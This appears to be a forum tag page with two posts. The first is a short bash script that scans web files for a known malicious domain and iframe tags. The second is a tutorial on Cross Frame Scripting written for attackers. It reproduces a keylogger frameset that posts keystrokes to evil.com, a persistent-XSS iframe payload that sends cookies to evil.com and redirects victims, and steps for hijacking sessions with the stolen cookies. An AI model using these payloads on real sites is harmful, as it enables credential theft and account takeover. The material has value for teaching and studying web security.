Search the Community
Showing results for tags 'cross frame scripting'.
Found 2 results
-
#!/bin/bash # Iframe Detect Script By [sleed]/ # O_O # Usage: Copy all iframedetect.txt in a *.sh file . After, chmod +x *.sh file, example: iframedetect.sh, chmod +x iframedetexct.sh , # Execute: sh iframedetect.sh # All info's go to /var/iframedetect/alert.txt # Thank You! echo 'Iframe Detect Script' blacksite='1337trojan.org' echo '' path=/var/www/ echo $search sleep 1 mkdir /var/iframedetect directory=/var/iframedetect find $path \( -regex '.*\.js$' -o -regex '.*\.php$' -o -regex '.*\.htm$' -o -regex '.*\.png$' -o -regex '.*\.css$' \) -print0 | xargs -0 egrep -ir "$blacksite" /dev/null | sort >> $directory/alert.txt sleep 1 cat $directory/alert.txt |grep '</iframe>' > $directory/alert.txt Nu e mare lucru, dar poate va ajuta daca aveti pe site un posibil Cross Frame Scripting.
-
- 2
-
-
- $directory/alert.txt
- cross frame scripting
- (and 3 more)
-
Definition XFS or CFS abbreviated from Cross Frame Scripting is a form of web-based attack that relies on a browser exploit. The attack is based on iFrames. Let's say we have an iFrame and another one inside of it. The parent iFrame inherits the actions from the child iFrame. XFS includes in most cases and is executed in Javascript. It is therefore related to Cross Site Scripting and is client-side attack since the code is in Javascript. It is understood false by many people that mistaken it with XSS from SQLi. I don't know where this concept came from but it is completely wrong and has nothing to do with XFS at all. How XFS works Suppose we have a simple authentication system (web-based login form). CLICK for Image What we want to do is embed a frame in the page. Therefore, upon typing the credentials, the user actually delivers them directly to the hacker. Using an IE exploit we can sniff keystrokes that are then automatically sent to our remote server with AJAX requests. In the following script we have a simple keystroke recorder that uses an iFrame. We define the array where the keystrokes will be stored. Then capture them with keystrokes.push() and return them back to the desired location (which in our case is our server where we can actually view them). Code Source: OWASP Code: <!-- http://evil.com/example.com-login.html --> <head> <script> // array of user keystrokes var keystrokes = []; // event listener which captures user keystrokes document.onkeypress = function() { keystrokes.push(window.event.keyCode); } // function which reports keytrokes back to evil.com every second setInterval(function() { if (keystrokes.length) { var xhr = newXHR(); xhr.open("POST", "http://evil.com/k"); xhr.send(keystrokes.join("+")); } keystrokes = []; }, 1000); // function which creates an ajax request object function newXHR() { if (window.XMLHttpRequest) return new XMLHttpRequest(); return new ActiveXObject("MSXML2.XMLHTTP.3.0"); } </script> </head> <!-- re-focusing to this frameset tricks browser into leaking events --> <frameset onload="this.focus()" onblur="this.focus()"> <!-- frame which embeds example.com login page --> <frame src="http://example.com/login.html"> </frameset> That's generally the basic concept behind this code and it's method of exploiting iFrames. Cross Frame Scripting resembles phishing is some way. The difference between them is that XFS acts exactly the way the page is supposed to. Whereas, with a phishing page you can get the information the same way but you arise suspicion in the target and he might decide to alter his password or other credentials. Exploiting XFS Vulnerability Now in order to exploit a cross frame scripting vulnerability we first need to make sure we can execute a Javascript vector (XSS) and plus that it must be persistent so as the crafted frame to stay on the page. Most usually website developers neglect filtering Account Panels and using the settings input fields, one could place a persistent XSS. CLICK for Image Assuming we have managed to find a persistent XSS, we can continue with the XFS frame. We need whenever a user visits our profile to display him a page for logging in the website again under the context that his session has expired or something of that kind (that has more to do with Social Engineering in order to trick him that he has been logged off). Let's say we've got the following script to inject in the place of our XSS. <iframe style="position:absolute;top:-9999px" src="http://example.com/? flawed-page.html?q=<script>document.write('<img src=\"http://evil.com/? ?c='+encodeURIComponent(document.cookie)+'\">') && window.location="http://example.com/login.php";</script>"> </iframe> This will grab the cookie upon logging in and will redirect the user to the actual login page. No suspicion will be arisen and the user will not notice the embedded frame inside the page. All you need to do now is get the session and authenticate with it. CLICK for Image Enter the following in the URL address, replacing the website domain. javascript:void(document.cookie="strUsername=Administrator") And we do the same thing with the password value. Note: The proof of concept and all images in this tutorial have been tested in local environment on my own website. Sursa:Antagonism Group
